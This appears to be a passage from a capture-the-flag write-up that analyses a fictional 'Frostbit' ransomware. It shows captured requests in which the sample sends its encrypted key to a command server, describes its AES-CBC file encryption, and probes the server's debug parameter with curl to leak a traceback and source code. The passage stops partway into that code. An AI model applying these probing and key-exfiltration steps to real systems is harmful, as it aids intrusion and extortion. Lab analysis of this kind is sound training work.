&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;GET&lt;/span&gt; /api/v1/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/session &lt;span class=&#34;variable constant_&#34;&gt;HTTP&lt;/span&gt;/&lt;span class=&#34;number&#34;&gt;1.1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Host&lt;/span&gt;: api.&lt;span class=&#34;property&#34;&gt;frostbit&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;app&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;User&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Agent&lt;/span&gt;: &lt;span class=&#34;title class_&#34;&gt;Go&lt;/span&gt;-http-client/&lt;span class=&#34;number&#34;&gt;1.1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Accept&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Encoding&lt;/span&gt;: gzip&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;HTTP&lt;/span&gt;/&lt;span class=&#34;number&#34;&gt;1.1&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;200&lt;/span&gt; &lt;span class=&#34;variable constant_&#34;&gt;OK&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Server&lt;/span&gt;: nginx/&lt;span class=&#34;number&#34;&gt;1.27&lt;/span&gt;&lt;span class=&#34;number&#34;&gt;.1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Date&lt;/span&gt;: &lt;span class=&#34;title class_&#34;&gt;Sat&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;21&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Dec&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;2024&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;08&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;27&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;03&lt;/span&gt; &lt;span class=&#34;variable constant_&#34;&gt;GMT&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Content&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Type&lt;/span&gt;: application/json&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Content&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Length&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;29&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Connection&lt;/span&gt;: keep-alive&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Strict&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Transport&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Security&lt;/span&gt;: max-age=&lt;span class=&#34;number&#34;&gt;31536000&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;nonce&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;9e60e7c02163359a&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;POST&lt;/span&gt; /api/v1/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/key &lt;span class=&#34;variable constant_&#34;&gt;HTTP&lt;/span&gt;/&lt;span class=&#34;number&#34;&gt;1.1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Host&lt;/span&gt;: api.&lt;span class=&#34;property&#34;&gt;frostbit&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;app&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;User&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Agent&lt;/span&gt;: &lt;span class=&#34;title class_&#34;&gt;Go&lt;/span&gt;-http-client/&lt;span class=&#34;number&#34;&gt;1.1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Content&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Length&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;1070&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Content&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Type&lt;/span&gt;: application/json&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Accept&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Encoding&lt;/span&gt;: gzip&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;encryptedkey&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;90fa90da0eabcfafffeb5a1c27a322c0b2558ee2e775def3745f05b69fe827b2c213d1851dc681719c2daa4929f939361b9ae0676d05c866973c8a9001158a8e7d1b85701aff9267c180e956564edd5ce1582eaf18f391d03fb7b3376a9014c3dd0ac4e2f79653d6a3c2f12fc445290cc712b873310c8302d9f27da95b57bb41b8596a3aa57ddc0a2e818bf6f1cdd1e4e1bac065a606c15c419ba376259e2e576d5ec266e70c84f44ae48abcda7b5a1c0fdbd44617d1df67c811fb4c0a6d5d88b1472a053ed98010130685402f5d0843ee021aabd5c63e199bd57f91d044a1346958756f01249d1df61bfb2f4105ace8cbba704533e53db5081ff24e3afb4e7e466437fcc4a15e349c6632380e6bd07494fa320945ac0b2fa670457eeef187e36c8ea54676a366c796d8ae2c4e6a5ce8ccc773f91bb9afc553085ec65b369b0d2d8b580aaa05263a40e74c427210764ab163e4e86fb540fe0e87a9aeddc452f3e8facaaedaa7a74294748d2478282b6b8033df4e79b478bc07bfd68f06b9b85ba7998ba2f113ebbab5a9f5f4f404eabd3af285ab22585e37b5ac00d5834a4a4736f26d6b7365d27cd17523a506dde96c4563b06dd2702ae786645509c37d32fbd21554aba4a2bf0ea7be258c6816bdf37e6a4b1e7af6876a2683f34c10f96b072d8fe2a91d23a300afcd70f594669271f57317caf8a885c4e0284076ddb978b1&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;nonce&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;9e60e7c02163359a&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;HTTP&lt;/span&gt;/&lt;span class=&#34;number&#34;&gt;1.1&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;200&lt;/span&gt; &lt;span class=&#34;variable constant_&#34;&gt;OK&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Server&lt;/span&gt;: nginx/&lt;span class=&#34;number&#34;&gt;1.27&lt;/span&gt;&lt;span class=&#34;number&#34;&gt;.1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Date&lt;/span&gt;: &lt;span class=&#34;title class_&#34;&gt;Sat&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;21&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Dec&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;2024&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;08&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;27&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;03&lt;/span&gt; &lt;span class=&#34;variable constant_&#34;&gt;GMT&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Content&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Type&lt;/span&gt;: application/json&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Content&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Length&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;92&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Connection&lt;/span&gt;: keep-alive&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Strict&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Transport&lt;/span&gt;-&lt;span class=&#34;title class_&#34;&gt;Security&lt;/span&gt;: max-age=&lt;span class=&#34;number&#34;&gt;31536000&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;digest&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;8000a9803204129aa16da8330a00102c&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;status&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Key Set&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;statusid&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;cAwzkltLXZHSw&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;h3 id=&#34;The-executable&#34;&gt;&lt;a href=&#34;#The-executable&#34; class=&#34;headerlink&#34; title=&#34;The executable&#34;&gt;&lt;/a&gt;The executable&lt;/h3&gt;&lt;p&gt;When started, the executable sets up the example values for digest and status (red box) and searches for the presence of the APP_DEBUG environment variable (green box):&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_01_example_data_and_debug_option.png&#34;&gt;&lt;br&gt;If the environment variable is set to &lt;code&gt;APP_DEBUG=&amp;quot;true&amp;quot;&lt;/code&gt; it will set the server to &lt;code&gt;http://localhost&lt;/code&gt; (green box), otherwise it will use &lt;code&gt;https://api.frostbit.app&lt;/code&gt; (red box):&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_02_debug_and_production_server.png&#34;&gt;&lt;br&gt;After that, it will check the presence of the &lt;code&gt;DoNotAlterOrDeleteMe.frostbit.json&lt;/code&gt; file:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_03_do_not_alter_or_delete.png&#34;&gt;&lt;br&gt;And it will try to load the file &lt;code&gt;public_key.pem&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_04_public_key_pem.png&#34;&gt;&lt;br&gt;The content of this file will be used to generate the key with the &lt;code&gt;generateKey&lt;/code&gt; function:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_05_generate_key_call.png&#34;&gt;&lt;br&gt;Once the key has been generated, the executable will check for the existance of the file &lt;code&gt;naughty_nice_list.csv&lt;/code&gt;&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_06_check_naughty_nice_list_csv.png&#34;&gt;&lt;br&gt;If this file is found it will then go ahead, create the &lt;code&gt;naughty_nice_list.csv.frostbit&lt;/code&gt; seen in the artifacts and encrypt the original file using the &lt;code&gt;encryptFile&lt;/code&gt; function:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_07_encrypt_file_call.png&#34;&gt;&lt;br&gt;The encryptFile function encrypts the file using AES-CBC and the previously generated key along with the nonce as IV:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_08_encryptFile.png&#34;&gt;&lt;br&gt;Subsequent operations will encrypt the key, send the encryptedkey to the server, receive the final content for &lt;code&gt;DoNotAlterOrDeleteMe.frostbit.json&lt;/code&gt;, save it and terminate.&lt;/p&gt;
&lt;h3 id=&#34;The-ransom-note&#34;&gt;&lt;a href=&#34;#The-ransom-note&#34; class=&#34;headerlink&#34; title=&#34;The ransom note&#34;&gt;&lt;/a&gt;The ransom note&lt;/h3&gt;&lt;p&gt;By following the link found in the core dump, we can also find the ransom note at url &lt;a href=&#34;https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&#34;&gt;https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;The-debug-option-in-the-APIs&#34;&gt;&lt;a href=&#34;#The-debug-option-in-the-APIs&#34; class=&#34;headerlink&#34; title=&#34;The debug option in the APIs&#34;&gt;&lt;/a&gt;The debug option in the APIs&lt;/h3&gt;&lt;p&gt;Here I got hinted toward trying something similar to the executable on the API, therefore I added the &lt;code&gt;debug=true&lt;/code&gt; parameter to the url and noticed the variable debugData being populated with a base64 that get decoded showing a json:&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;uuid&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;3da17f67-ee61-455d-afc2-aa20e8c7911e&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;nonce&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;REDACTED&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;encryptedkey&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;REDACTED&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;deactivated&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;etime&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;1734998400&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;h3 id=&#34;The-hashlib&#34;&gt;&lt;a href=&#34;#The-hashlib&#34; class=&#34;headerlink&#34; title=&#34;The hashlib&#34;&gt;&lt;/a&gt;The hashlib&lt;/h3&gt;&lt;p&gt;Tampering the &lt;code&gt;digest&lt;/code&gt; parameter can lead to an error that shows some internals of the api. Especially, removing one character returns the following error:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;curl &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102&amp;amp;debug=true&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;debug&amp;quot;&lt;/span&gt;:&lt;span class=&#34;literal&#34;&gt;true&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;error&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Status Id File Digest Validation Error: Traceback (most recent call last):\n  File \&amp;quot;/app/frostbit/ransomware/static/FrostBiteHashlib.py\&amp;quot;, line 55, in validate\n    decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;The error leads to the &lt;code&gt;FrostBiteHashlib.py&lt;/code&gt; file that can be downloaded from the url &lt;a href=&#34;https://api.frostbit.app/static/FrostBiteHashlib.py&#34;&gt;https://api.frostbit.app/static/FrostBiteHashlib.py&lt;/a&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;46&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;47&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;48&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;49&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;50&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;51&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;52&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;53&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;54&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;55&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;56&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;57&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;58&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;59&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;60&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;61&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; traceback&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; binascii&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Frostbyte128&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;__init__&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;self, file_bytes: &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt;, filename_bytes: &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt;, nonce_bytes: &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt;, hash_length: &lt;span class=&#34;built_in&#34;&gt;int&lt;/span&gt; = &lt;span class=&#34;number&#34;&gt;16&lt;/span&gt;&lt;/span&gt;):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.file_bytes = 